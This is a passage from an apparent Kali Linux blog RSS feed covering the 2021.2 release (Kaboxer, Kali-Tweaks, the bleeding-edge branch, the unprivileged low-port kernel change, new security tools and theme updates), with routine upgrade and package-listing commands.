└─$ echo &amp;quot;deb http://http.kali.org/kali kali-rolling main contrib non-free&amp;quot; | sudo tee /etc/apt/sources.list
┌──(kali㉿kali)-[~]
└─$ sudo apt update &amp;amp;&amp;amp; sudo apt -y full-upgrade
┌──(kali㉿kali)-[~]
└─$ cp -rbi /etc/skel/. ~
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] &amp;amp;&amp;amp; sudo reboot -f
&lt;/code>&lt;/pre>
&lt;p>You should now be on Kali Linux 2021.3. We can do a quick check by doing:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION=&amp;quot;2021.3&amp;quot;
VERSION_ID=&amp;quot;2021.3&amp;quot;
VERSION_CODENAME=&amp;quot;kali-rolling&amp;quot;
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP Debian 5.10.46-4kali1 (2021-08-09)
┌──(kali㉿kali)-[~]
└─$ uname -r
5.10.0-kali9-amd64
&lt;/code>&lt;/pre>
&lt;p>&lt;em>NOTE: The output of &lt;code>uname -r&lt;/code> may be different depending on the system &lt;a href="https://pkg.kali.org/pkg/linux">architecture&lt;/a>.&lt;/em>&lt;/p>
&lt;p>As always, should you come across any bugs in Kali, please submit a report on our &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>. &lt;em>We&amp;rsquo;ll never be able to fix what we do not know is broken!&lt;/em> &lt;strong>And &lt;a href="https://twitter.com/kalilinux">Twitter&lt;/a> is not a Bug Tracker!&lt;/strong>&lt;/p></description></item><item><title>Kali Linux 2021.2 Release (Kaboxer, Kali-Tweaks, Bleeding-Edge &amp; Privileged Ports)</title><link>https://www.kali.org/blog/kali-linux-2021-2-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2021-2-release/</guid><pubDate>Tue, 01 Jun 2021 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-2021-2-release/images/banner-2021.2-release.jpg" type="image/jpg"/><description>&lt;p>Say hello to &lt;strong>Kali Linux 2021.2&lt;/strong>! This release welcomes a mixture of new items as well as enhancements of existing features, and is ready to be &lt;a href="https://www.kali.org/get-kali/">downloaded &lt;em>(from our updated page)&lt;/em>&lt;/a> &lt;em>or &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">upgraded if you have an existing Kali Linux installation&lt;/a>&lt;/em>.&lt;/p>
&lt;p>A quick summary of the &lt;a href="https://bugs.kali.org/changelog_page.php">changelog&lt;/a> since the &lt;a href="https://www.kali.org/blog/kali-linux-2021-1-release/">2021.1 release from February 2021&lt;/a> is:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2021-2-release/#introducing-kaboxer-v10-again">Releasing Kaboxer v1.0&lt;/a>&lt;/strong> - Introducing Kali Applications Boxer v1.0! Applications in containers&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2021-2-release/#releasing-kali-tweaks-v10">Releasing Kali-Tweaks v1.0&lt;/a>&lt;/strong> - Our way to make it easier to configure Kali Linux to your taste&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2021-2-release/#refreshed-bleeding-edge-branc">Refreshed Bleeding-Edge branch&lt;/a>&lt;/strong> - We did a complete make over for our backend that produces packages for the latest updates&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2021-2-release/#disabled-privileged-ports">Disabled privileged ports&lt;/a>&lt;/strong> - Opening a listener on ports 1024/TCP-UDP and below no longer requires super-user access&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2021-2-release/#new-tools-in-kal">New tools added&lt;/a>&lt;/strong> - Ghidra &amp;amp; Visual Studio Code. Along with CloudBrute, Dirsearch, Feroxbuster, pacu, peirates, &amp;amp; Quark-Engine&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2021-2-release/#theme-enhancement">Theme enhancements&lt;/a>&lt;/strong> - We added a way to quickly swap between double &amp;amp; one-line terminal prompt and made Xfce4 Quick launch + file manager tweaks&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2021-2-release/#desktop-wallpaper--login-background">Desktop wallpaper &amp;amp; login background updates&lt;/a>&lt;/strong> - Default images have changed with more to choose from&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2021-2-release/#raspberry-pi-recharged">Raspberry Pi images recharged&lt;/a>&lt;/strong> - RPi 400 fully supported, built-in bluetooth working, &amp;amp; first-run wait time dramatically reduced&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2021-2-release/#kali-nethunter-updates">Kali NetHunter support for Android 11&lt;/a>&lt;/strong> - Android 11 support and various other improvements for our NetHunter platform&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2021-2-release/#more-docker-supportparallels-supportbug-fixes">More Docker support&lt;/a>&lt;/strong> - Now supporting ARM64 &amp;amp; ARM v7 &lt;em>(along with previous AMD64)&lt;/em>&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2021-2-release/#more-docker-supportparallels-supportbug-fixes">Parallels support&lt;/a>&lt;/strong> - Kali is fully supported for Apple M1 users who have Parallels&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2021-2-release/#more-docker-supportparallels-supportbug-fixes">Various bug fixes&lt;/a>&lt;/strong> - Pkexec patched, Wireshark permissions, command-not-found issues, &amp;amp; more accessibility features are all resolved&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="introducing-kaboxer-v10-_again_">Introducing Kaboxer v1.0 &lt;em>(Again)&lt;/em>&lt;/h2>
&lt;p>In case you missed it, we have previously covered &lt;a href="https://pkg.kali.org/pkg/kaboxer">Kaboxer&lt;/a> in it&amp;rsquo;s own &lt;a href="https://www.kali.org/blog/introducing-kaboxer/">dedicated blog post&lt;/a>, which goes into a lot more detail of why we love it so! For developers, this is a great new tool in the arsenal. Users will, hopefully, &lt;strong>not realise that they are using it&lt;/strong>, only noticing that previously problematic tools now work correctly!&lt;/p>
&lt;p>Without repeating what has already been posted, this technology allows us to &lt;strong>correctly&lt;/strong> package up programs that were previously difficult, with items such as &lt;strong>complex dependencies&lt;/strong> or &lt;strong>legacy programs &amp;amp; libraries&lt;/strong> &lt;em>(such as &lt;a href="https://www.kali.org/docs/general-use/using-eol-python-versions/">Python 2&lt;/a> or dated SSL/TLS)&lt;/em>.&lt;/p>
&lt;p>With Kaboxer&amp;rsquo;s launch, we have released 3 packages using it:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/covenant-kbx">Covenant&lt;/a> - Daemon using server/client network model&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/firefox-developer-edition-kbx">Firefox (Developer Edition)&lt;/a> - Big GUI desktop application&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/zenmap-kbx">Zenmap&lt;/a> - Legacy libraries &lt;em>(&lt;a href="https://www.kali.org/docs/general-use/using-eol-python-versions/">Python 2&lt;/a>)&lt;/em> application&lt;/li>
&lt;/ul>
&lt;p>If you want to read more, please see either our &lt;a href="https://www.kali.org/blog/introducing-kaboxer/">blog post&lt;/a> covering it, or our &lt;a href="https://www.kali.org/docs/development/packaging-apps-with-kaboxer/">documentation&lt;/a> around it.&lt;/p>
&lt;p>&lt;em>Kaboxer is still in its infancy, so please be nice &amp;amp; patient with it.&lt;/em>&lt;/p>
&lt;h2 id="releasing-kali-tweaks-v10">Releasing Kali-Tweaks v1.0&lt;/h2>
&lt;p>Announcing &lt;a href="https://pkg.kali.org/pkg/kali-tweaks">Kali-Tweaks&lt;/a>! This is our little helping hand for Kali users, with the idea to help &lt;strong>customize Kali to your own personal taste&lt;/strong> quickly, simply, &lt;em>and the correct way&lt;/em>. This should help you to &lt;strong>stop doing repetitive tasks&lt;/strong>.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2021-2-release/images/kali-tweaks.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2021-2-release/images/kali-tweaks.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Currently Kali-Tweaks will help out with:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Metapackages&lt;/strong> - Installing/removing &lt;a href="https://www.kali.org/docs/general-use/metapackages/">groups of tools&lt;/a>, which may not have been available while installing Kali if you did not use the installer image&lt;/li>
&lt;li>&lt;strong>Network Repositories&lt;/strong> - Enabling/disabling &amp;ldquo;bleeding-edge&amp;rdquo; &amp;amp; &amp;ldquo;experimental&amp;rdquo; &lt;a href="https://www.kali.org/docs/general-use/kali-branches/">branches&lt;/a>&lt;/li>
&lt;li>&lt;strong>Shell &amp;amp; Prompt&lt;/strong> - Switch between &lt;a href="https://www.kali.org/blog/kali-linux-2020-4-release/">two or one line prompt&lt;/a>, enable/disable the extra line before the prompt, or configure &lt;a href="https://www.kali.org/blog/kali-linux-2020-3-release/">Bash or ZSH&lt;/a> as the default shell&lt;/li>
&lt;li>&lt;strong>Virtualization&lt;/strong> - Using Kali as a &lt;a href="https://www.kali.org/docs/virtualization/">guest VM&lt;/a>? Do a few actions to make the experience easier!&lt;/li>
&lt;/ul>
&lt;p>Our philosophy is to always &lt;strong>understand what you are running&lt;/strong>, before you run it. That way, it reduces the chances of any undesirable nasty surprises. Which is why we will always encourage anyone to do actions &lt;strong>manually before automating&lt;/strong> it, so you get to understand what is happening under the hood. On the flip side, we also understand there is so much to remember. Then when you sprinkle in people&amp;rsquo;s bad habits, which often have long term implications and end up breaking Kali, there is room for improvement. So, we started developing Kali-Tweaks. Where possible, Kali-Tweaks will also &lt;strong>display what commands are being executed to help educate users&lt;/strong>.&lt;/p>
&lt;p>We do want to mention a few things:&lt;/p>
&lt;ul>
&lt;li>&lt;code>kali-tweaks&lt;/code> has been &lt;strong>marked as &amp;ldquo;recommended&amp;rdquo;&lt;/strong> rather than &amp;ldquo;required&amp;rdquo;. As a result, if you are upgrading Kali, it &lt;strong>may not be included&lt;/strong>. On the other hand, you can remove &lt;code>kali-tweaks&lt;/code> without removing anything else&lt;/li>
&lt;li>On the subject of upgrading; depending on how old your Kali installation is, you may need to &lt;strong>reset your shell resource&lt;/strong> &lt;em>(e.g. &lt;code>.bashrc&lt;/code> &amp;amp; &lt;code>.zshrc&lt;/code>)&lt;/em> before you can use the &amp;ldquo;configure prompt&amp;rdquo; section. This is because it will not have the necessary variables. Should you want to, make sure to &lt;strong>backup, reset, and restore&lt;/strong>&lt;/li>
&lt;li>The last thing to point out, when changing the default login shell; please &lt;strong>log out and in again&lt;/strong> &lt;em>(either graphically or remote console)&lt;/em> for it to have an effect&lt;/li>
&lt;/ul>
&lt;p>It is still early days with Kali-Tweaks, and we already have ideas of what to expand into, but we welcome &lt;a href="https://gitlab.com/kalilinux/packages/kali-tweaks/-/issues">any suggestions from you&lt;/a>!&lt;/p>
&lt;p>&lt;em>Kali-Tweaks is still in its infancy, so please be nice &amp;amp; patient with it.&lt;/em>&lt;/p>
&lt;h2 id="refreshed-bleeding-edge-branch">Refreshed Bleeding-Edge Branch&lt;/h2>
&lt;p>Kali&amp;rsquo;s Bleeding-Edge branch has been around since &lt;a href="https://www.kali.org/blog/bleeding-edge-kali-repositories/">March 2013&lt;/a>, but we have recently completely &lt;strong>restructured the backend&lt;/strong>.&lt;/p>
&lt;p>For those not too familiar with Bleeding-Edge branch, here is a breakdown:&lt;/p>
&lt;ul>
&lt;li>Kali by default opts to be &lt;strong>stable where possible when packaging&lt;/strong>. This means some tools may &lt;strong>appear&lt;/strong> to be &amp;ldquo;out-dated&amp;rdquo;&lt;/li>
&lt;li>We do this by looking to see when the &lt;strong>tool author(s) signals&lt;/strong> &amp;ldquo;everything up to to this point is good&amp;rdquo;, by doing a &amp;ldquo;&lt;strong>point release&lt;/strong>&amp;rdquo; &lt;em>(e.g. &lt;code>1.0&lt;/code> or &lt;code>2.1&lt;/code>)&lt;/em>&lt;/li>
&lt;li>Developers often use &lt;strong>source-code version control&lt;/strong>, allowing them to track any changes&lt;/li>
&lt;li>How programmers use source-code version control depends on &lt;strong>their work flow, experience, and team size&lt;/strong>
&lt;ul>
&lt;li>Developers can use a &lt;strong>&amp;ldquo;tag&amp;rdquo; feature&lt;/strong> found in most source-code version control to signal when there is a new version &lt;em>(this is what Kali prefers)&lt;/em>&lt;/li>
&lt;li>However, some people may say &lt;strong>if it makes it to &amp;ldquo;master&amp;rdquo; or &amp;ldquo;main&amp;rdquo; branch&lt;/strong>, then it is &amp;ldquo;production ready&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>There are times where &lt;strong>it has been &amp;ldquo;a while&amp;rdquo;&lt;/strong> &lt;em>(months or even years)&lt;/em> &lt;strong>since doing a tag&lt;/strong> for a stable release &lt;em>(aka point release)&lt;/em>, and people get frustrated that there are no updates &lt;em>(e.g. &lt;a href="https://pkg.kali.org/pkg/hashcat">hashcat&lt;/a> or &lt;a href="https://pkg.kali.org/pkg/impacket">impacket&lt;/a>)&lt;/em>.
&lt;ul>
&lt;li>In other cases, &lt;strong>you want the latest code&lt;/strong> which may include an exploit 0day &lt;em>(e.g. &lt;a href="https://pkg.kali.org/pkg/metasploit-framework">Metasploit-framework&lt;/a>, &lt;a href="https://pkg.kali.org/pkg/powershell-empire">Empire&lt;/a>, or &lt;a href="https://pkg.kali.org/pkg/exploitdb">Exploit-DB&lt;/a>)&lt;/em> so waiting for a tag release may &lt;strong>not be an option&lt;/strong>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>You may then end up skipping the Kali package and compiling your favorite tool&amp;rsquo;s source-code. This might then conflict with Kali&amp;rsquo;s packaging, and it is your responsibility to maintain the program. &lt;strong>This is where bleeding-edge branch comes in.&lt;/strong>&lt;/p>
&lt;p>Since &lt;a href="https://www.kali.org/blog/kali-linux-roadmap-2019-2020/">moving over to GitLab&lt;/a>, we have been able to create &lt;a href="https://www.kali.org/docs/development/leveraging-the-kali-bot/">Kali-Bot&lt;/a> to help with &lt;strong>heavy lifting and automation&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>Automatically package &lt;strong>tag&amp;rsquo;d releases&lt;/strong> to kali-&lt;strong>experimental branch&lt;/strong>&lt;/li>
&lt;li>Automatically package the &lt;strong>last commit&lt;/strong> to kali-&lt;strong>bleeding-edge branch&lt;/strong>&lt;/li>
&lt;/ul>
&lt;p>This is a fully automated procedure, as a result, the testing that goes into our packaging is automated as well &lt;em>(unlike anything that is in kali-rolling branch which has manual testing involved)&lt;/em>. If there has not been a unit test created, its not going to be tested for. This means there is &lt;strong>a chance&lt;/strong> packages will be broken, and more trust goes into the tool author having correctly developed the tool.&lt;/p>
&lt;p>If you want to give it a try, have a look at our &lt;strong>&lt;a href="https://www.kali.org/docs/general-use/kali-bleeding-edge/">kali-bleeding-edge documentation&lt;/a> to learn how to enable&lt;/strong> the repository and how to tell apt to select a package from this repository. &lt;strong>Once the repository has been enabled&lt;/strong>, it looks like this:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ dpkg -l \
| grep ffuf
ii ffuf 1.3.1-0kali1 amd64 Fast web fuzzer written in Go (program)
kali@kali:~$
kali@kali:~$ sudo apt install -y ffuf/kali-bleeding-edge
...
kali@kali:~$
kali@kali:~$ dpkg -l \
| grep ffuf
ii ffuf 1.3.1+git20210505.1.f032167-0kali1~jan+nus1 amd64 Fast web fuzzer written in Go (program)
kali@kali:~$
&lt;/code>&lt;/pre>
&lt;p>Not every tool has made it to the new system yet as there are still many limitations to overcome, but to see what is supported and also how many:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ curl -s -L 'http://http.kali.org/kali/dists/kali-bleeding-edge/main/binary-amd64/Packages' \
| awk -F ': ' '/^Package: /{print $2}'
...
kali@kali:~$
kali@kali:~$ curl -s -L 'http://http.kali.org/kali/dists/kali-bleeding-edge/main/binary-amd64/Packages' \
| awk -F ': ' '/^Package: /{print $2}' \
| wc -l
78
kali@kali:~$
kali@kali:~$ curl -s -L 'http://http.kali.org/kali/dists/kali-experimental/main/binary-amd64/Packages' \
| awk -F ': ' '/^Package: /{print $2}' \
| wc -l
192
kali@kali:~$
kali@kali:~$ curl -s -L 'http://http.kali.org/kali/dists/kali-rolling/main/binary-amd64/Packages' \
| awk -F ': ' '/^Package: /{print $2}' \
| wc -l
59518
kali@kali:~$
&lt;/code>&lt;/pre>
&lt;p>The numbers will only grow bigger and better as time goes on, with less bugs in the code and more unit tests in place!&lt;/p>
&lt;p>If you are a tool author and want to get your software on the list, please &lt;a href="https://forums.kali.org/">chat to us&lt;/a>, and we can show how to &lt;a href="https://www.kali.org/docs/development/leveraging-the-kali-bot/">enable webhooks&lt;/a>!&lt;/p>
&lt;h2 id="disabled-privileged-ports">Disabled Privileged Ports&lt;/h2>
&lt;p>We have patched &lt;strong>our kernel to remove the restriction&lt;/strong> of requiring privilege permission in order to use &lt;strong>TCP &amp;amp; UDP ports under 1024&lt;/strong> &lt;em>(meaning 0/TCP-UDP &amp;lt;= 1023/TCP-UDP)&lt;/em>. This was done because:&lt;/p>
&lt;ul>
&lt;li>We see Kali as a &lt;strong>desktop OS&lt;/strong>, rather than a server&lt;/li>
&lt;li>This &amp;ldquo;well-known&amp;rdquo; privileged port range is reserved for &lt;strong>server services&lt;/strong> &lt;em>(e.g. 80/TCP HTTP, 443/TCP HTTPS)&lt;/em>&lt;/li>
&lt;li>With the switch from Kali&amp;rsquo;s &lt;a href="https://www.kali.org/blog/kali-default-non-root-user/">root to non-root user by default&lt;/a>, &lt;strong>rather than doing a port forward&lt;/strong> from outside the privilege ports to a restricted port, people were just &lt;strong>running the program with super-user permissions instead&lt;/strong>
&lt;ul>
&lt;li>We get it. It&amp;rsquo;s quicker to run: &lt;code>$ sudo &amp;lt;program&amp;gt;&lt;/code>,&lt;/li>
&lt;li>Rather than remembering something like: &lt;code>$ sudo iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8888&lt;/code>&lt;/li>
&lt;li>It also can get complex and confusing with a lot of redirects setup in place&lt;/li>
&lt;li>&lt;em>Alternatively people were using &lt;code>authbind&lt;/code> to allow certain users to use certain ports&lt;/em>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>This &lt;strong>defeats the point of switching to non-root user&lt;/strong>!
&lt;ul>
&lt;li>&lt;em>Let&amp;rsquo;s reduce any possible attack surface!&lt;/em>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>Now, this change won&amp;rsquo;t appear in all instances as some flavors of Kali operate without our kernel. This depends on which platform you use &lt;em>(such as Cloud instances, Docker or WSL)&lt;/em>. If you are on a platform that does not use our customized Kernel, this change will not be applied. For example, the top one uses Kali&amp;rsquo;s kernel on a bare metal install, and below uses Kali in a docker container, so its using the host&amp;rsquo;s kernel:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ uname -r
5.10.0-kali7-amd64
kali@kali:~$
...vs...
$ docker run --rm --interactive --tty kalilinux/kali-rolling:latest uname -r
5.10.25-linuxkit
$
&lt;/code>&lt;/pre>
&lt;h2 id="new-tools-in-kali">New Tools in Kali&lt;/h2>
&lt;p>It would not be a Kali release if there were not any new tools added! A quick run down of what&amp;rsquo;s been added &lt;em>(to Kali&amp;rsquo;s archive and network repositories)&lt;/em>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/cloudbrute">CloudBrute&lt;/a> - Find a company infrastructure, files, and apps on the top cloud providers&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/dirsearch">Dirsearch&lt;/a> - Brute force directories and files in web servers&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/feroxbuster">Feroxbuster&lt;/a> - Simple, fast, recursive content discovery&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/ghidra">Ghidra&lt;/a> - Reverse engineering framework&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/pacu">Pacu&lt;/a> - AWS exploitation framework&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/peirates">Peirates&lt;/a> - Kubernetes penetration&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/quark-engine">Quark-Engine&lt;/a> - Android malware scoring system&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/code-oss">VSCode&lt;/a> &lt;em>a.k.a. Visual Studio Code Open Source (&amp;ldquo;Code-OSS&amp;rdquo;)&lt;/em> - Code editor&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Ghidra&lt;/strong> and &lt;strong>VSCode&lt;/strong> have been included into the &lt;code>kali-linux-large&lt;/code> &lt;a href="https://www.kali.org/docs/general-use/metapackages/">metapackage&lt;/a>, so they are &lt;strong>included on the installer image&lt;/strong> for people doing a fresh install. Otherwise you will need to upgrade Kali &lt;em>(if you already have the &lt;strong>kali-linux-large&lt;/strong> install)&lt;/em> or manually install them &lt;em>(if you want them!)&lt;/em>:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ sudo apt update &amp;amp;&amp;amp; sudo apt install -y ghidra code-oss
&lt;/code>&lt;/pre>
&lt;p>A few notes about &lt;code>code-oss&lt;/code> &lt;em>(aka &lt;strong>VSCode&lt;/strong>)&lt;/em>:&lt;/p>
&lt;ul>
&lt;li>We are &lt;strong>compiling this from &lt;a href="https://gitlab.com/kalilinux/packages/code-oss">source&lt;/a>&lt;/strong>, rather than using the pre-built binaries
&lt;ul>
&lt;li>The upside to this is that &lt;a href="https://code.visualstudio.com/docs/getstarted/telemetry">&lt;strong>telemetry data is disabled&lt;/strong> by default&lt;/a>&lt;/li>
&lt;li>The downside is that &lt;strong>some aspects of the marketplace may not work&lt;/strong>. If you find these limitations a problem, you may wish to uninstall the Kali package and switch to the VSCode pre-built binaries&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>You also may question &lt;strong>why it was named &lt;code>code-oss&lt;/code>&lt;/strong>, rather than &lt;code>code&lt;/code>
&lt;ul>
&lt;li>Code-OSS is what the &lt;a href="https://github.com/microsoft/vscode/blob/8f11975c47c9d97b3248e14caf9f7bc4c372d84f/src/vs/platform/product/common/product.ts#L60">source-code&lt;/a> &lt;strong>calls &lt;a href="https://github.com/microsoft/vscode/blob/8f11975c47c9d97b3248e14caf9f7bc4c372d84f/product.json#L4">itself&lt;/a>&lt;/strong>, which is used as the base before the configurations are applied for the pre-compiled binaries that gets distributed as &amp;ldquo;code&amp;rdquo;&lt;/li>
&lt;li>As we are using the source-code, we used the variables defined by it&lt;/li>
&lt;li>The &lt;strong>two different names help to distinguish the differences&lt;/strong> between them &lt;em>(also prevents any clashes and conflicts!)&lt;/em>&lt;/li>
&lt;li>We also &lt;strong>included various aliases in our package&lt;/strong> to help bridge between the two different versions. Meaning, calling &lt;strong>&lt;code>vscode&lt;/code> and &lt;code>code&lt;/code>&lt;/strong> will &lt;strong>use our package&lt;/strong>, &lt;code>code-oss&lt;/code>, with a friendly notice &lt;em>(when installed)&lt;/em>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>If you already have the pre-compiled version installed, &lt;strong>upgrading Kali&lt;/strong> will &lt;strong>not replace it&lt;/strong>
&lt;ul>
&lt;li>However, when &lt;strong>manually installing&lt;/strong> &lt;code>code-oss&lt;/code>, it will then &lt;strong>replace&lt;/strong> it!&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="theme-enhancement">Theme Enhancement&lt;/h2>
&lt;h3 id="command-line">Command Line&lt;/h3>
&lt;p>If you are using ZSH, with the latest Kali profile applied, you can &lt;strong>toggle between the two-line prompt and one-line prompt&lt;/strong> by pressing: &lt;strong>&lt;code>CTRL&lt;/code> + &lt;code>p&lt;/code>&lt;/strong> &lt;em>(at the same time)&lt;/em>.
This will only have an effect for the &lt;strong>current session&lt;/strong>. If you would like to set it &lt;strong>permanently, see &lt;code>kali-tweaks&lt;/code>&lt;/strong>.&lt;/p>
&lt;video class="video-shortcode" preload="metadata" autoplay muted loop>
&lt;source src="https://www.kali.org/blog/kali-linux-2021-2-release/videos/cli-toggle-prompt.mp4" >
Your browser does not support the video tag.
&lt;/video>
&lt;h3 id="xfc4">Xfc4&lt;/h3>
&lt;p>We have switched up the &lt;strong>quick launch tray&lt;/strong> in the top left, by:&lt;/p>
&lt;ul>
&lt;li>Dropping the &lt;strong>screen recorder&lt;/strong> button &lt;em>(as a result package can also be removed, &lt;code>kazam&lt;/code>)&lt;/em>&lt;/li>
&lt;li>Adding a &lt;strong>text editor&lt;/strong> shortcut (this uses &lt;code>mousepad&lt;/code> as it is a quick and light)_
&lt;ul>
&lt;li>&lt;em>If you are looking for something that is more substantial, try &lt;code>code-oss&lt;/code>&lt;/em>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Adding in a &lt;strong>web browser&lt;/strong> icon, which starts the default browser &lt;em>(often &lt;code>FireFox&lt;/code>)&lt;/em>&lt;/li>
&lt;li>Adding a drop-down menu to select the &lt;strong>user for default terminal&lt;/strong> &lt;em>(&lt;code>terminal&lt;/code> or &lt;code>root terminal&lt;/code> &amp;amp; Kali&amp;rsquo;s default is &lt;code>QTerminal&lt;/code>)&lt;/em>&lt;/li>
&lt;/ul>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2021-2-release/images/cli-tray.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2021-2-release/images/cli-tray.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>To give you an idea of how the toggling between the &lt;strong>terminal user&lt;/strong> works:&lt;/p>
&lt;video class="video-shortcode" preload="metadata" autoplay muted loop>
&lt;source src="https://www.kali.org/blog/kali-linux-2021-2-release/videos/cli-toggle-terminal.mp4" >
Your browser does not support the video tag.
&lt;/video>
&lt;hr>
&lt;p>Inside of &lt;code>Thunar&lt;/code> &lt;em>(Xfce&amp;rsquo;s default &lt;strong>file manager&lt;/strong>)&lt;/em>, if you right-click in the main window, you should have a new option, &lt;strong>Open as Root&lt;/strong>:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2021-2-release/images/cli-thunar.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2021-2-release/images/cli-thunar.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;hr>
&lt;p>With these theme changes, you &lt;strong>may not get them if you upgrade&lt;/strong> Kali. This is because the &lt;strong>theme settings&lt;/strong> are &lt;strong>copied&lt;/strong> to your &lt;strong>home folder&lt;/strong> when your &lt;strong>user is first created&lt;/strong>. When you upgrade Kali, it is &lt;strong>upgrading the operating system&lt;/strong>, so upgrading &lt;strong>does not alter personal files&lt;/strong> &lt;em>(just system files)&lt;/em>. As a result, in order to get these theme tweaks, you need to either:&lt;/p>
&lt;ul>
&lt;li>Do a fresh Kali install&lt;/li>
&lt;li>Create a new user and switch to that&lt;/li>
&lt;li>Delete your Xfce profile for the current user and force reboot&lt;/li>
&lt;/ul>
&lt;pre>&lt;code class="language-console">kali@kali:~$ mv ~/.config/xfce4{,-$(date +%Y.%m.%d-%H.%M.%S)}
kali@kali:~$ mv ~/.config/qterminal.org{,-$(date +%Y.%m.%d-%H.%M.%S)}
kali@kali:~$ mv ~/.config/qt5ct{,-$(date +%Y.%m.%d-%H.%M.%S)}
kali@kali:~$ mv ~/.config/Thunar{,-$(date +%Y.%m.%d-%H.%M.%S)}
kali@kali:~$
kali@kali:~$ cp -rbi /etc/skel/. ~
kali@kali:~$
kali@kali:~$ xfce4-session-logout --reboot --fast
&lt;/code>&lt;/pre>
&lt;h4 id="desktop-wallpaper--login-background">Desktop Wallpaper &amp;amp; Login Background&lt;/h4>
&lt;p>People who have upgraded, you may have spotted that there is a new &lt;strong>default login wallpaper and desktop background&lt;/strong>, but there are extras as well in this release:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2021-2-release/images/wallpapers.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2021-2-release/images/wallpapers.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Whilst on the subject of wallpapers, if you have not noticed, previously we had been operating on an refresh cycle about &lt;strong>every 6 months&lt;/strong>, where we would change the default login and desktop as well as included other art work if they were not to your taste. Going forwards, we are aiming to &lt;strong>change the defaults at every 20xx.1 release&lt;/strong> &lt;em>(meaning it happens right at the start of every year)&lt;/em>. &lt;em>So it will still change again in 6 months, but this will be the last time!&lt;/em> We will still aim to &lt;strong>add extra wallpapers every 6 months&lt;/strong>, however, only &lt;strong>change the defaults yearly&lt;/strong>.&lt;/p>
&lt;p>Finally, we have updated &lt;code>kali-community-wallpapers&lt;/code> &amp;amp; &lt;code>kali-wallpapers-legacy&lt;/code> packages as well!&lt;/p>
&lt;h2 id="raspberry-pi-recharged">Raspberry Pi Recharged&lt;/h2>
&lt;p>Two new packages:&lt;/p>
&lt;ul>
